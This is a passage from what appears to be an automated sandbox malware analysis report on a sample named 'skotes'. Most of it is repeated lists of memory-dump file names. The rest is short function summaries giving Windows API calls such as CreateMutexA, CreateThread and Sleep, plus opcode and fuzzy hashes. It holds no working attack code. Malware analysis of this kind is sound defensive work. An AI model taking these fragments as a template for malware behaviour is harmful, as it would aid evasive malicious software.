Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf8c31a6d2fd206e16e75946e00f0c85c0188e4c211e577d47e40df61bf18b7
Instruction ID: 993a3889c8842971bd29087eced50ef495fc031ee2f662ea2f8f4a2155d4cf8a
Opcode Fuzzy Hash: bdf8c31a6d2fd206e16e75946e00f0c85c0188e4c211e577d47e40df61bf18b7
Instruction Fuzzy Hash: 2621D6729091086BEB11AB689C42FAF3769DF61378F11021DF9242B1D1D7B0DE019A61

Function 0019A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c906f0e5bcadaa3f2ef6a86406e767e145ee652cef499112bb548b5f241090fb
Instruction ID: d96ab54125ce77616827247ba5c7d28ac2b3691e7519b4f204f8c1bc1908b0a5
Opcode Fuzzy Hash: c906f0e5bcadaa3f2ef6a86406e767e145ee652cef499112bb548b5f241090fb
Instruction Fuzzy Hash: 9CE0C22229C3009AFF6033BCAE97F3F72949FE5718FA10824F619C60D08B6095C48173

Function 001A6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 001A6D11
Sleep.KERNEL32(00007530), ref: 001A6D25

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 587b02106b250da4f1b77f48dd6344c1fdfa4b68032cf47129da8efc67a1181d
Instruction ID: 1d977785531a8f7b06665f5e1e78d57863923f10f177a4e0f4e3c3e522f7ef6f
Opcode Fuzzy Hash: 587b02106b250da4f1b77f48dd6344c1fdfa4b68032cf47129da8efc67a1181d
Instruction Fuzzy Hash: 7FD08C387C4314B6F12013A02C0BF6AAA109B0FFA1F2D0840B3583F0D4C3E430404798

Function 00198380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00198524

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 42379b05f61e96daaf38cb15cccfbe6f2961083747f92be0ac262c6970906d37
Instruction ID: 0618abaeb450d5d9db146a6df0a45f1dc33dc0909c2b154b7e74f9192c7df97c
Opcode Fuzzy Hash: 42379b05f61e96daaf38cb15cccfbe6f2961083747f92be0ac262c6970906d37
Instruction Fuzzy Hash: C0512571D042089BEF28EB38CD45BEDB775EF46314F5042A8E809A72C1EF359E848B91

Function 001C7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,001C705B,?,?,00000000,00000000), ref: 001C7166

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
